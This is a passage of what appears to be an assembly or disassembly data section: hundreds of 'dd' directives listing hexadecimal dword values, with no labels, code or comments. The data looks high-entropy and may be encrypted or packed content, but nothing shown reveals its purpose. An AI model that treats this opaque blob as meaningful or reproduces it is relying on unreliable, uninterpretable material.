0B6D62DFEh, 0B0BA5613h dd 0E9E6DA0Eh, 0CE306C1Bh, 73E0C47Ch, 0B8D76001h, 4F5D17F7h dd 119AC895h, 7D5D23Dh, 19F5C28Bh, 0DFA2A957h, 2C164AEDh dd 0E7096A53h, 0BE35DE62h, 0B4092725h, 211335DCh, 12C7A2ABh dd 47F2024Fh, 0CD3D7F84h, 1A59432Fh, 7FD3F927h, 809B24C1h dd 0DC281106h, 60B4505Bh, 854F8B2h, 0C4FE59CCh, 0BCE9A10Dh dd 0DDC14C8Fh, 9F66AEDCh, 5869E2E5h, 934597C3h, 259CA09h dd 0B3078F6h, 25A8BB5Dh, 0BCD2F1EEh, 46904078h, 0BA1FFE79h dd 1CC470CBh, 2380EAD1h, 7610331Eh, 41CA0525h, 0ED5B4752h dd 0D74B1EACh, 27707E25h, 0D0E10B77h, 57122010h, 76ECBE04h dd 0F4FB3585h, 30178C22h, 15F55BF6h, 0B40F228h, 16564EE9h dd 6DBC68h, 10F335D1h, 0F24AF781h, 0E9180908h, 59570E21h dd 5E54000Ah, 19F9BA52h, 0E96B8F06h, 0F522AC75h, 57FFE86Eh dd 9F9E10B0h, 3A0BF03h, 62024D39h, 3E557EB6h, 0DB25E031h dd 724082FBh, 0F813EAF2h, 3BB5E49h, 398F68D9h, 556F4D2Ch dd 0D834F6BDh, 0FDFABF43h, 7E680942h, 2F0B516Eh, 0B6B46DD1h dd 0EB4395EEh, 0DCACC333h, 8913A114h, 0AB9521h, 0C180FC1Fh dd 0CC5988D9h, 0F4C59E4Ch, 14BB3096h, 0B73B3DACh, 5A79D8A2h dd 64C0E45Fh, 0BDF6E788h, 7C64A0Ah, 65E9C4FEh, 269A4120h dd 822C9125h, 0CC385EF8h, 0B3D8DF31h, 122D5500h, 0E9DA091Ah dd 87AAA9C9h, 0FB88A03Bh dd 2480AE40h, 1E43D6C2h, 4C5F65FDh, 0E0A9553Dh, 40D2292Ah dd 0C06E511h, 5E321448h, 67E854D4h, 0BE49F10h, 324F7D68h dd 7FEC8BD4h, 5A7CFFB3h, 0F22A1D24h, 54BB4EB4h, 0B44B6DAEh dd 3159E9BAh, 0EFD113C9h, 0BF8222C5h, 0EBDA5CEAh, 7E015711h dd 1553452Ch, 6C38D2E9h, 9F3A2E78h, 35F253E2h, 0A1AEBA05h dd 88804446h, 8334E970h, 65FC20FDh, 2F312A07h, 5EF33261h dd 7705B6E8h, 39737913h, 7A410BFh, 0B15CE917h, 6C6A345Fh dd 654893FAh, 2F7904D0h, 46BF6EDDh, 913FA26Bh, 0F1D7F82Fh dd 0F5687803h, 362590BBh, 9FFE95EEh, 57190A62h, 0FE838EF6h dd 93C130C9h, 0EB084FC8h, 0AA772B04h, 16C0BD00h, 1B515B8h dd 0C511F16Ch, 6D51017Ah, 2179E04Ch, 0D117D846h, 0DA21410Ch dd 2EA8A5Bh, 0E94613F1h, 0E956E04Dh, 0EC06908Eh, 13D44C62h dd 80C7129h, 0D725FB9Fh, 567F36CEh, 910C494Bh, 4F549A50h dd 2EB2DDD8h, 10846AB3h, 9AE3AE17h, 4ACB5D50h, 2D9DEB87h dd 2F7FA06Ch, 7E195A72h, 4EBF2F5Fh, 0A857AA46h, 3FA4C40Ah dd 7E0BDDABh, 0F58BA117h, 0F6ACE93Ah, 59FDA02Eh, 0B75E9228h dd 7CA5E7Ah, 6748C010h, 381874Ah, 0F77BFEFCh, 4A93488Ch dd 0C6BBEDC0h, 47643E51h, 0FC55C7D0h, 1EC2BA63h, 4F3D7835h dd 0B1F054Bh, 0FBD634B5h, 253D712Eh, 0C06F9230h, 1205E2B9h dd 14E125Eh, 8118B2Ah, 50BA558Ch, 953AD2BEh, 0B30E2C40h dd 0E27EB80h, 0DEBABCC3h, 418D3EA0h, 0B643417Bh, 3EF3C1CAh dd 2BA70E17h, 80C5E917h, 26F1B874h, 25526200h, 538745EAh dd 7905E240h, 4C1E012Bh, 0F15EF62Dh, 49AE3AC0h, 0A2C55832h dd 3FDDC88h, 2D227B68h, 0EF37C1EDh, 3446FB6h, 0AA12CF19h dd 167E2CCDh, 2274AA8Fh, 0A2FBD452h, 541CB1FFh, 447532E2h dd 2019793h, 0E0F8295Dh, 41DF31D9h, 74538C92h, 2F7ED38Ah dd 4C1E3517h, 55346827h, 5D24AAE6h, 0F281F9C0h, 0C2B3539Ch dd 0D041CBD9h, 0D34392E3h, 2383850Dh, 38BBCC67h, 7CB52D9Dh dd 0F0010C97h, 659D3C56h, 92116ABh, 9EF65554h, 0E836AB02h dd 0EAF66Ah, 1E8325BDh, 32E4E98Dh, 0E408309Ah, 8279842Dh dd 6E86318Ah, 53C0C74h, 0ACC98D09h, 0D81252D4h, 72AAE384h dd 9915A85h, 777E7029h, 4D528A4Ah, 0D36F5EEAh, 0BF4BC084h dd 0DF1AEED5h, 0DF9E01FBh, 749762DAh, 4812FB60h, 3FF3C5D9h dd 0BA647416h, 0F7B71A62h, 702CA415h, 0E0987525h, 0F8B7F589h dd 45E5EDBh, 0AA4F29EEh, 352F26B2h, 0F13D3C52h, 72369363h dd 0C213FDFCh, 388EFFA9h, 7FA10825h, 62FEF9E3h, 934BDF34h dd 4365554Bh, 0B72498ADh, 0EFC017D6h, 0CA820B04h, 30C92507h dd 0CF28A0C7h, 2E4CD298h, 3BDB818Dh, 91EC2338h, 704CBD39h dd 81459E51h, 1E34BB58h, 81F563D6h, 502F4F3Ch, 0DAD8FD74h dd 32EA9226h, 5422652Dh, 2A55B869h, 302A29FEh, 7734FBBh dd 8822F92h, 0BBFE3157h, 74F6E0DFh, 470220E9h, 0ADD048EAh dd 1D3C0799h, 0CE613ACBh, 1CDD0FABh, 1662EEF0h, 0BF605840h dd 701A8204h, 0C0425B05h, 0FE05E0E0h, 20372E7Dh, 0C1D74CFDh dd 0E5AA07B5h, 0E22DCC20h, 0DAF49F09h, 4BAD8757h, 0BE6C19Ch dd 4D026521h, 726B9054h, 5C61FDDh, 8927F945h, 0E9C26A7Eh dd 139D5CE5h, 62EBA621h, 0D8E0E979h, 0CB5EBF87h, 0F6B2775Ah dd 53DCC77h, 0BF5FD268h, 0F7DC8041h, 0AC28111Bh, 0C412BD7Bh dd 0A8169F13h, 8BDDE11Dh, 0BA7DE25h, 336023E9h, 0CD5BC980h dd 3C73BCBCh, 12FF03E1h, 0B34F682Fh, 0FCB23BE7h, 143E0133h dd 0E0D88258h, 990A2B9Fh, 0CEB59876h, 5B813438h, 0C77EF4D9h dd 5C748BE1h, 0E76858E0h, 0CDD59E70h, 87283ADFh, 8F5A56D6h dd 1F5BF740h, 0D44D8E18h, 841C0C6h, 847F352Fh, 0B163BCD8h dd 616A7EE9h, 36EAB2F8h, 6ABD1120h, 3E684E62h, 0A1AB88AFh dd 0D8B05DF0h, 75325878h, 0F5281061h, 5AA98D60h, 0FCE4E7FCh dd 59D6F9FEh, 2C5312AFh, 0FC27E96Eh, 0F599BA33h, 1168F1C8h dd 4CB13253h, 40602E4Dh, 0F7A65C99h, 96880CB7h, 0C678B3A8h dd 6B52BFA1h, 8BEAE516h, 0DDE9093Ah, 9992FD1Ch, 7E3236C0h dd 0C34F6024h, 701CD01Dh, 0C7F3007Eh, 1A42604h, 685AC4DAh dd 9F69AC6Fh, 299EBAC1h, 0A87A8976h, 53E44F79h, 15872FE9h dd 51E02176h, 996A9C68h, 13ABA62Bh, 71C9E33Ah, 77445E1Fh dd 1A2BD34Ch, 0EEA1A15Fh, 564EB42Bh, 200A589Fh, 0D5929BE8h dd 1368590Bh, 2A9CD537h, 0C0299Dh, 913F0FABh, 565A0517h dd 0A9312968h, 290325F9h, 0C5E25DE3h, 5F9D6277h, 289B2118h dd 0FECB3080h, 1F1B68B3h, 0E4BF0191h, 216C8316h, 39F22BB9h dd 448EFAC9h, 697F2157h, 0A8A80516h, 0C7248005h, 5B96A8D1h dd 0AFB52CECh, 87EAB153h, 53E941EFh, 7845A53Eh, 0C2909D0h dd 0C070AFF1h, 121C215Ch, 0E8CF2541h, 1777680Eh, 1DCBFB17h dd 5FAAE64Eh, 71E9FBC8h, 0EA2BEFF8h, 1703B521h, 0F6670B0Ah dd 68DBE8FEh, 0CB0B4F62h, 4A18587Eh, 0D1E293BBh, 734911BAh dd 30A62180h, 53BF877Bh, 18FC2DCDh, 7670369h, 0DE9C9A53h dd 74B90012h, 0F70C1438h, 0BDCD158h, 2EBC78Fh, 0FA865413h dd 75160C25h, 850C3895h, 4477314h, 936302A4h, 0F789BF5Ch dd 0BD8150E5h, 8277A366h, 6F9C17Fh, 0F501DC9Ch, 8817AB0h dd 5776E2E9h, 93EE8000h, 0EFED6F6h, 4E6C0C6h, 0E907857Eh dd 0BFA9952Ah, 1779F8F0h, 541CB86Ah, 2305D1ECh, 0E8095B50h dd 0F6B051F1h, 8E685568h, 508C5A4Eh, 616C0E33h, 0AAA9E94Eh dd 0D30948FBh, 2DA76611h, 8A27CB7h, 1EDF583Fh, 8013FCFCh dd 6C120ABFh, 66041CE4h, 0CDEA585Fh, 0E95050D8h, 7D97B118h dd 0C85F1A32h, 1BCBAA9h, 0B93DA11Ah, 0F6882CCBh, 0F08E4E5Dh dd 90E916F9h, 0C721FE54h, 0A93EC507h, 860592F1h, 5DB20CEAh dd 9DF0C13Ch, 6C18437Eh, 4D2068B7h, 968EBF73h, 0A2662510h dd 9F513F0h, 0FEA8A9C9h, 0E492EE55h, 6C1ED4D3h, 75F4FB10h dd 10BF662h, 7965FE8h, 58989180h, 56E1000h, 54DF2316h dd 2DE82829h, 565D0407h, 0EA7B33BEh, 2510181Fh, 0C940481Dh dd 6D7402A5h, 53459BC2h, 0C1551395h, 50D9F22h, 0C1D149B0h dd 0CD4E997Eh, 5A0C8473h, 42C29F0Ah, 5A7658BAh, 1E3AD85Bh dd 0C45C8140h, 4E8A350h, 0B3EA5854h, 0B5A84BFh, 59CA3102h dd 7FC3BA77h, 6ABFD102h, 0A380A554h, 9776C7Fh, 475B30DFh dd 4E79E414h, 263444Dh, 1E3B43F3h, 0C5C3FF69h, 0E999EB9Bh dd 5B2F2CC4h, 0F7139C16h, 0CF120AA8h, 55E82078h, 51508C2Dh dd 590F4D25h, 4DE989B7h, 0D4D9F3E1h, 2D744BAFh, 1CC15527h dd 87B82E57h, 8B56DEA1h, 715C69C7h, 7EE68049h, 0FC686A94h dd 21EA7C0Bh, 830AF75Eh, 4F1A03E4h, 3A2C2978h, 73AD8896h dd 0C2E4EEBDh, 0E9709002h, 0D9C0FE85h, 6D1673EAh, 0BB49666h dd 0B77C9DFAh, 7256C62h, 13CE24Fh, 87D5F700h, 0BDEFFEEEh dd 0EF354F05h, 2F6851E0h, 14FC02DAh, 62BA50h, 0CD817DEEh dd 616056C9h, 9136998h, 77021189h, 0D05ECFC7h, 28CCECB3h dd 27A9BF0Ch, 5D76EF2Ch, 4E166858h, 0D08E314Eh, 5903EAh dd 3D185672h, 0D8F58172h, 545E407Bh, 0AA9770B8h, 0B6521A00h dd 4CC6805Eh, 7BA572h, 45AF030h, 42C1E991h, 5C2F9093h dd 7CF6AF67h, 77DC7752h, 496BDD51h, 0C065C58Ah, 5C0B4FA8h dd 85587F7Dh, 19A40CA4h, 81C027E9h, 2088B048h, 893F20B9h dd 8939ED11h, 8BA8893h dd 56CD6809h, 0D2BA897Fh, 7F6BCCF4h, 7A5BFDE1h, 803D4CE6h dd 0E2AA33E2h, 60089008h, 5AD013Fh, 0CAF72B2Ah, 859B7E55h dd 906ECAE9h, 28C3F63Ch, 13C3F34Ch, 12903D09h, 5F6B7BC8h dd 4A05FF74h, 34BF8D5Dh, 310F37Ah, 0D64E29B9h, 1928383Ch dd 77DDFB4Bh, 94618DF4h, 0E462B110h, 3EB6D1D3h, 413758F0h dd 112A889Bh, 0F389092Dh, 6B43BE49h, 0C707F3E9h, 0B460DB41h dd 0AB7ED570h, 384A01CAh, 6812599Ch, 2A8C2012h, 3C6909ECh dd 0DAD55176h, 0A45F5A84h, 0D4691490h, 95038179h, 0C26A8AB4h dd 49DC05D7h, 11CC96BEh, 0FE2E399Dh, 14F70244h, 0A6D11B0Ah dd 0B364019Fh, 65296054h, 26A1CCE3h, 0C7BD230h, 4C12F858h dd 0E91F9702h, 5D38B287h, 70A707Dh, 1EC6C30h, 6F172668h dd 0E4953D98h, 8A515BC7h, 7BB004D1h, 1FECC188h, 5E1C0A0h dd 0E9C9FE1Fh, 0F6BA002Dh, 2B050DDh, 58C53096h, 83DEE828h dd 211A088h, 7470F0B9h, 2BBCE0F7h, 35EA2F38h, 0AAAC0475h dd 0F8EB0694h, 0A4CFF12Dh, 69D6412Bh, 0EC587A6Ch, 59979578h dd 0F9C4CF1Fh, 0DC9CE55Eh, 0ECB6B3Dh, 22E18049h, 9048C913h dd 3F5EDE5Ah, 49A43E41h, 70D5E78Ch, 12030699h, 61EE2EB9h dd 2EF78DBBh, 9E9489F3h, 0F4901A84h, 84127DC9h, 0F61EFD33h dd 0F4FD4CE7h, 0D09FCC8Ch, 5361AD0Eh, 0AB44C339h, 5AE53FE1h dd 0C11CA82Ah, 89AEB8C2h, 0F235D0D2h, 57D702EEh, 0CE014E60h dd 76746C40h, 0BA28BF28h, 0A0E1630Fh, 3FD0C825h, 558ADC58h dd 5B2010D4h, 794865ACh, 0AB1ADA07h, 0B75E22Dh, 30659AFh dd 519F104Ah, 704ECCCCh, 37E8465Ah, 4ACA68E3h, 0DB643A54h dd 0DAAB9C94h, 0E1944A27h, 13528EEBh, 1EF25FF8h, 0B8C06652h dd 5ED46F9Fh, 3F8EE91Ah, 8722D7F5h, 5101ED31h, 0CB7C4668h dd 0BD8D12DEh, 0FB8009E8h, 0A186CCFEh, 77EAF5D3h, 65C5D1F6h dd 2CBF0494h, 0CA39FEB0h, 0D71E2580h, 40E85EC8h, 9530612Ch dd 97637E03h, 380C0042h, 53646527h, 0B39D62E9h, 0C05A4B48h dd 8D31C393h, 2815415Ch, 0ECDE07F3h, 0D2894F5Ah, 0EFC5221Eh dd 0CD38D1B5h, 0A0CA7E5Ch, 4E304610h, 3A4842F8h, 0C7B21707h dd 0AABEEAFh, 71658C5Eh, 0CE4830A8h, 0E91B3513h, 0C4FFD314h dd 8E74FE78h, 9E01DDFCh, 59134F45h, 0C3716153h, 0CC5F5FCAh dd 3D1AA9D3h, 5C502DEBh, 0CA0B046h, 0C5124EF1h, 42B44F41h dd 91365FE5h, 9710B008h, 8EFDEA95h, 0C26A4842h, 45C3476Eh dd 0B1E4FA43h, 8B3D17D9h, 4C83ED12h, 3FFF2EC6h, 108FD42Fh dd 70B04F20h, 0ECD8E0D2h, 0D504395Bh, 98DD7525h, 809E1814h dd 1F4BDE68h, 0C521A531h, 0A1B1E804h, 0B1059612h, 0C4B02F30h dd 700B9D97h, 7CAFF9DBh, 0C6B8786Eh, 3FD31902h, 0BE53EE9h dd 0DC25B85Eh, 0BF587A48h, 75D2D949h, 22EEA324h, 34C80939h dd 0C1F0D5B8h, 0E897232Fh, 0D25EF57Ch, 0B37C0106h, 0E6597361h dd 25C447DFh, 971747D1h, 0B8738CEBh, 0F547753Eh, 283F0502h dd 81352915h, 484FA8C1h, 111D3D8h, 1705499Eh, 31803293h dd 9DAAF87h, 0A09CD784h, 3CFF555Fh, 0E93E5C39h, 0E6315A0Eh dd 5003FDE6h, 7B1B2AF1h, 0B3161CF7h, 0D0140AE2h, 17FB24FAh dd 0D888E61Fh, 967CE96Bh, 8B792D1Dh, 8027F258h, 1F1EDC2Dh dd 0BF8918F7h, 0C606FEABh, 0EAFC278Dh, 313B429Ah, 9FBE93D7h dd 0F8687B42h, 2CF95B16h, 0C1BB1667h, 61E528B5h, 8CB23B65h dd 7B5166A1h, 5982195Dh, 0D405EDC0h, 60B25130h, 0EE73CAA3h dd 662DEA00h, 0E935B450h, 0CF819507h, 3C5BB168h, 0EF4D3E6h dd 0DC4AE9h, 5FCC68F1h, 3690607Dh, 4E2C920h, 2DE6D8B9h dd 2FF5F052h, 37A6E15Ah, 0C756267Ah, 42DEC251h, 6FB159DDh dd 1C596EC6h, 0FF054Eh, 0B5B951C7h, 315C4D2Fh, 59B006ECh dd 1F0C75E6h, 655D5BE3h, 0C81482D7h, 6F545F2Dh, 5FBA4E2h dd 5CCBBA21h, 40823505h, 1F830511h, 535B8C45h, 0E2BDBB5Bh dd 0FF5AED5Dh, 0B9AC9616h, 0F3325986h, 60BF954Ah, 1D3D5DFFh dd 0F15C1979h, 4E804E3Bh, 5C0520BBh, 91108A78h, 9A05B8Fh dd 404C981Ah, 480D40B9h, 431D8F7h, 4A087FFFh, 44C7E12Bh dd 0F7F7AE67h, 2114151Ch, 2258163Ch, 496AD1CDh, 0CC745B84h dd 3EA4D896h, 4B20438Ch, 4F9F8ABBh, 0D8E786E8h, 0B9B8D7D6h dd 0FD0589D9h, 270B65ABh, 0EA5ED04h, 6781F331h, 7EE461E7h dd 4BC52D68h, 6B596998h, 0DF1D0C27h, 0E9EF3502h, 27E6D675h dd 0CD82FFCCh, 0E9346E16h, 8DA8D452h, 68173C22h, 64614A0Bh dd 14E411F8h, 440D0140h, 357D6836h, 12C2DEB7h, 383C835Ch dd 9B19763h, 0F27117BBh, 40D0C4BFh, 5226BF01h, 6CA16B75h dd 133673CCh, 0B451E948h, 0DD5F87C5h, 8B8422EDh, 7C5D0946h dd 19653C4Ch, 3EB3B1A9h, 925CFE0h, 19D938F2h, 0CF5FA087h dd 92B7BAB2h, 8427AC92h, 37EB0F5Ah, 7714922Ch, 865A83DEh dd 1F1B6F22h, 0DE465BDEh, 794547CEh, 8B7F7911h, 0EE884033h dd 0ADFF13FCh, 53DB2A1h, 2EE95453h, 1E1DA395h, 775785C9h dd 2F0CA779h, 454C6D47h, 4A182265h, 504EDB05h, 92C750DCh dd 56B13F21h, 2838B00Bh, 33DAF8E3h, 6A03B908h, 0B067A048h dd 2502DCEFh, 1E555BF2h, 85661036h, 0EAE114C8h, 9DAF4EB6h dd 81E07F64h, 0BC8D7FB6h, 6BA84396h, 0EA41C376h, 45821F31h dd 5BDF315Ah, 4A8E355h, 740E2996h, 3ADA101h, 0B3033888h dd 0A06D8CF5h, 0A50C0037h, 99BADBBh, 83735DEFh, 0B0658C5h dd 0ED5EA4B2h, 6AFA04EAh, 1DEC65E5h, 0F53D1E09h, 2DE71528h dd 292A85F5h, 0A0C9DF82h, 15D5BFC7h, 0BC665E17h, 361A040Ch dd 0D2BF6344h, 0F4759831h, 0E9F12711h, 0DBD2A6A8h, 0DFEA0F17h dd 0F2067DECh, 16FC1E8Fh, 0FD344E7Ch, 5F5EB678h, 5A4EF210h dd 5E271ABDh, 0F99F2E50h, 8B1001Dh, 0F0890C4Ch, 9B3E913h dd 0BB35AC40h, 0BE6A82C1h, 0EDD101CFh, 4A3B7AE9h, 0C36D484Eh dd 175F2958h, 0ECA48372h, 31ABA530h, 28236BB3h, 369DA0E9h dd 93C34A8h, 0EAE10278h, 0AF80A37Bh, 100CE4EDh, 0C7E05E4Eh dd 13655EE9h, 779BBEFAh, 0E9F1715Eh, 2FE57F34h, 0FEFE176Fh dd 1C8BC6C1h, 0F5CDFC7Fh, 0C9DC2CAAh, 84638149h, 224658A1h dd 0C67A65E5h, 0BCABD397h, 94B5F4DBh, 5072EB49h, 0CB13D2B1h dd 0D7A0FBD9h, 0ED224F37h, 1E9F8666h, 8360FC61h, 0FA0895D7h dd 0A1F63F67h, 7F698E7Fh, 9FD0FA57h, 0D9B4CA9Ch, 84668925h dd 78FD3687h, 2E01AE10h, 1E09D7F7h, 15EC7D8Fh, 18D8A227h dd 8150C2C1h, 0E1C23A5Fh, 0BCEC4BFBh, 9DDB4EB0h, 5F3905C6h dd 0DC652D68h, 6489D21Bh, 904E46D7h, 53C04062h, 96685702h dd 0D52F5D29h, 0D6193BB1h, 36F009E6h, 5F48AB4Bh, 2394BD02h dd 0A0D369B6h, 5E413143h, 93E44045h, 0F0EA4A87h, 0A3316841h dd 0A5F74346h, 92B15D03h, 580C237Eh, 7CB0994h, 415B02EBh dd 2F50966h, 276C635h, 6BC1E1F6h, 84166821h, 9EEB7168h dd 74A94B1Dh, 0D7D5E8D2h, 0AE4E52FDh, 522905DCh, 0F82DA1C5h dd 87F8FDC3h, 0F8BDBA06h, 7E0504E8h, 0ABB9A4CDh, 0C35AB7A4h dd 2AB652CFh, 0EEE1F382h, 16D36DA0h, 89301628h, 7C079B3h dd 0EB8005E3h, 5CCE3EB4h, 8694F3C0h, 0D163F6CBh, 31C3FE08h dd 5C1C0828h, 2DFA3A28h, 54817AD0h, 0D13A8A40h, 517A63DDh dd 0D658566Fh, 3E91B60h, 41002D96h, 4E2EC981h, 0FA027669h dd 0AF681F3Eh, 36F1010Ch, 7F6F782Bh, 14BB7713h, 2D249D3Bh dd 32688494h, 0EE2AD828h dd 63552913h, 0D39141BAh, 0D82C9D1Fh, 5A17A4E1h, 0E6017CD6h dd 6DEEF5Fh, 211F83Eh, 2321E0C7h, 0C29F4860h, 0CBDAA909h dd 0B8040C7Ch, 8734782Ah, 6FD56733h, 0E9EB2921h, 0F449CA95h dd 0EE29EEA6h, 86E92EE6h, 0E3818031h, 4BE242DCh, 10D3F730h dd 7E400AC3h, 6FF31650h, 21E1003Fh, 3913E9DDh, 3EBE65B5h dd 8321F325h, 2C02C368h, 807CC195h, 0CB7AF3E2h, 0ED1113F2h dd 7C1059E3h, 5ABD05B6h, 3B80D001h, 133E3ACDh, 1455DCCh dd 135872F0h, 0C14A8324h, 13C6D1Ah, 0AAF92218h, 20EE01D9h dd 72402AA9h, 37090968h, 10031327h, 50EFCEEBh, 0E9DF89ECh dd 8C0DD031h, 0BD28C230h, 9878BBA7h, 7FD3C4B5h, 0F4A74BE9h dd 503070Bh, 4973B672h, 6DF4CF89h, 0AF7316ABh, 680A4B8Ah dd 648E3C35h, 0E4ACAA54h, 0DF9357E8h, 5E9EBF32h, 11032733h dd 0FE8410EDh, 8BA1B3F2h, 5ABC4C2Ah, 0F4525626h, 8DF08A16h dd 387D9D5Ch, 187EC11Ch, 0C51FD09h, 27052EB2h, 56E92975h dd 0F1039182h, 17052676h, 4BAF9F5h, 7E54DFA8h, 9C4085E8h dd 0F5E91703h, 7BC1E759h, 0D606F627h, 0C3807049h, 0B0E494Dh dd 2971F4E9h, 98CB0016h, 73A25Ch, 3807CE81h, 70E90EEDh dd 524EC6Bh, 62E8E555h, 323DF305h, 57D1C06Ch, 0A5E823Ah dd 0F55ED809h, 0F66F2E51h, 0E0FF4604h, 0AEACB605h, 44EC9AA1h dd 0E87CBE0Ch, 0ABE8C9D3h, 8980D785h, 416EEECAh, 0BB097B24h dd 4B5ED838h, 9381F25Bh, 0AEE671FAh, 136867DDh, 0E4D189CAh dd 810048F2h, 1EE0A7EAh, 4EE395Bh, 0C35FF971h, 14881F6Eh dd 32DE412Ch, 0B57E3F50h, 401600A5h, 641C68C0h, 5D5D7079h dd 3AB2509Fh, 4EB80402h, 0FE2115E9h, 0D126B98Dh, 7B34829Dh dd 82803F32h, 78F31895h, 0F125E97Ah, 0AD1157FEh, 4C322F07h dd 10C35688h, 0C1800F66h, 3D24044Ah, 4B108ABAh, 7B8E71BFh dd 5C8C6B92h, 0F4E241D8h, 78D2E4B8h, 0CE077EF9h, 60667C75h dd 142728C3h, 10EE635Eh, 445E08F7h, 19C85B84h, 4C210278h dd 96B7BD11h, 487D7D9h, 3FF2EF80h, 82B697ECh, 10F92837h dd 0DFB75353h, 335B0E0Fh, 840E2452h, 8DEA64ACh, 0F1C561E2h dd 393B4E7h, 6DBB0905h, 0BE00EEC1h, 474559F6h, 1C0CCE31h dd 687BC4C0h, 0F299387Eh, 82B589AFh, 0F2170B4Bh, 9993985Ah dd 6EC70882h, 0EA2C5C26h, 0F5FA2892h, 5B7EECB2h, 5CB816D3h dd 1FCB9540h, 8A671E3Dh, 83FA1726h, 76BA52DFh, 6A463EE1h dd 0F8DE1EE5h, 0EBD0D328h, 31485BCAh, 4F3EEF10h, 0C13449BAh dd 0CD562077h, 580E03DDh, 4510DD4Fh, 0AD582754h, 0D60008D6h dd 5843AEB4h, 0F25638Ch, 5C42EC7Ch, 3BC4F566h, 0FEE3B912h dd 688387A8h, 0FD107FE6h, 5F098E99h, 8FDC5401h, 65195860h dd 9CD997Bh, 287480E9h, 2D2F12BBh, 8B9F54F3h, 0C4FDF56Fh dd 0D8D9B7CAh, 0D8A6325Bh, 707735E7h, 5CB3B877h, 77119250h dd 3DFB4B3Ch, 58F22FFBh, 5C169192h, 43302AEBh, 7D90E110h dd 9275B11h, 13FD5A21h, 6C3FD9D0h, 8402E23Eh, 0B9160116h dd 42832754h, 58867657h, 93025DAFh, 0FE9477Ah, 813054E5h dd 622CAC5h, 0C7427A01h, 40BA7CA0h, 1ADEEA68h, 180E3036h dd 0E978485Fh, 0FE504B54h, 0A5A66037h, 59BE077Dh, 0A2725C54h dd 1355795Eh, 0C806C282h, 3B65263h, 40B1510Ch, 0E22DE180h dd 5A1987BBh, 2F6C032h, 0FC5DE6EBh, 589580Bh, 47D3799Fh dd 0A87BFBEDh, 8A808112h, 9685658h, 3E640B0Fh, 0E27C7790h dd 939374D2h, 0B6A15A20h, 9392016Fh, 57E9FB87h, 0ABF2C52Fh dd 0E9A180E2h, 95166B3Ah, 5E6A1040h, 69BF117Ch, 840B0B6Eh dd 0BA4AFB50h, 0D44584BFh, 8A61EB79h, 322B5D9Ch, 4BD94069h dd 0E29FE98Bh, 0B2FDB92h, 44F53B4Bh, 0F4F2A05h, 0BFF15E99h dd 0D4BE3C12h, 5B2CEA15h, 163C32E9h, 9BFD6C35h, 5C47E912h dd 0F53AC049h, 75D12262h, 5B580640h, 0E1531589h, 478F5D0Ch dd 0D995DDC2h, 0A539285h, 0AD976D00h, 98B47BD0h, 33FDE00Eh dd 2FE9DAE0h, 0BD73CAD4h, 0AF33BFBDh, 68C369FEh, 0E32F7ECDh dd 75EADA10h, 2C1F43C7h, 8441B6EFh, 0C4F14AABh, 1CE856Ah dd 0E1C05860h, 2F95F407h, 0B0DEE69Ah, 1624E40Eh, 2DF69CEAh dd 3EE9198Eh, 70E7C3FCh, 7F9709D0h, 6817DDB4h, 45643C38h dd 0CFBDAFD1h, 38668004h, 36486B6Dh, 1359053Ch, 12AF2561h dd 5AFDFC8Fh, 8DD13F0h, 1B32E7Fh, 8B0AED24h, 25022232h dd 0C0E7FA56h, 307FFB6Bh, 0D8181986h, 50979967h, 5C7609E0h dd 0A8DD0452h, 4624086Eh, 0D6E0C60Dh, 130D1E3Bh, 5D10491Ch dd 0A32774FAh, 2556E43Bh, 930912E9h, 46AF1A65h, 9B68126Dh dd 5FEAE33Fh, 62483FF9h, 0BFB85017h, 0BF3605C6h, 0E925D97Ah dd 93CEF41Ah, 9464EAF3h, 0C9EE8485h, 0CFE9D824h, 0D8E38C4Bh dd 0B6B1707h, 3A09DF2Bh, 3A025413h, 2AE4E1EAh, 0D2F15536h dd 78032560h, 5080B42h, 81A3B801h, 8D3BF6D6h, 4CDABCD8h dd 0E5B7A7DCh, 0E4A0B01Bh, 159895F4h, 9824D98h, 0B4985DEh dd 8807BFB8h, 295A59CFh, 0BABC5DDh, 0C02356E9h, 0ADB9F531h dd 0D6334803h, 873C8E42h, 2EDFE218h, 86A18357h, 0A5496B01h dd 75C25813h, 9FC8E0B1h, 0DC4B1CE4h, 0A24AF2FDh, 49BE358Eh dd 89A8E2ABh, 701E9A66h, 0F965B7E9h, 683EEDA0h, 48598673h dd 0BD0D632Dh, 80E320C8h, 0EABAF788h, 4B555CD7h, 1252A24Eh dd 62C8D9A1h, 49EC2768h, 0D527DE53h, 0AF40F460h, 496364Ch dd 506E7B25h, 68EC05EEh, 3041A213h, 3C2E2E5Ch, 176B9E3Fh dd 7614BDF8h, 2EE8044Ah, 47E9FBB2h, 0F0416B49h, 0BFCEFA26h dd 528EE07Ah, 0C5B9774Ah, 0CAE259C8h, 2D26D37Ch, 320946ECh dd 0F619125Eh, 49A68436h, 0D2C3BFFAh, 8018F16h, 0EE3AD701h dd 5F29682Ch, 0C413E974h, 37F9FC48h, 5E49E94Fh, 0FFBD52EFh dd 94C4C0B2h, 0F20392B1h, 13FBD6Ch, 940399CAh, 0C704D1Eh dd 0C97A9BF4h, 13DE7284h, 0DBDEE7BCh, 68D9C4A0h, 4C77EE54h dd 0D25B161Bh, 7F4EFE74h, 5C24D0C4h, 0AB85139Ch, 0EC7BFB8Dh dd 0A3FFB5A8h, 0FD2577D2h, 2D80C6FEh, 0B2E66470h, 62148D5Eh dd 63160053h, 5759257Bh, 5550010Ah, 0A60967BDh, 5A54CE71h dd 0D673CB00h, 0B0D8F712h, 456B006Ah, 14053DD0h, 2B4F8D67h dd 70128E1h, 0B93E095Fh, 4EF04BF3h, 25A3B4BFh, 0D6FA8C94h dd 0CD4D5CB6h, 0DFA230ECh, 0BE1DE16h, 30D7670Ch, 17EF732h dd 4757B86Ch, 7B3E15E9h, 6B7BA1F7h, 827D1793h, 0A0F470FDh dd 7FA7E6CDh, 516200FBh, 2A3F6852h, 30903392h, 710FF202h dd 0E2891042h, 0C7AFD71h, 0A323FAC2h, 0DDBE62F6h, 38325F41h dd 0B85E0239h, 697185C3h, 637C5B95h, 7A56614Fh, 275F406Ah dd 514CC42Fh, 0C460416h, 10D386C2h, 6E5C6089h, 7FFA4879h dd 55F2055Ah, 0FACF9F13h, 0F0210731h, 21D38F77h, 0D6F4663h dd 9C7C5020h, 76E1631Eh, 84C79F01h, 2906165Ah, 0ABF2A02Bh dd 8FC50764h, 0BF5E68ACh, 801C1668h, 0B74BE9E3h, 0C130FE87h dd 0B728ED49h, 67FEE344h, 411DF796h, 0F6427393h, 0D61CF368h dd 4B8B679Ch, 96201464h, 13AEE6B8h, 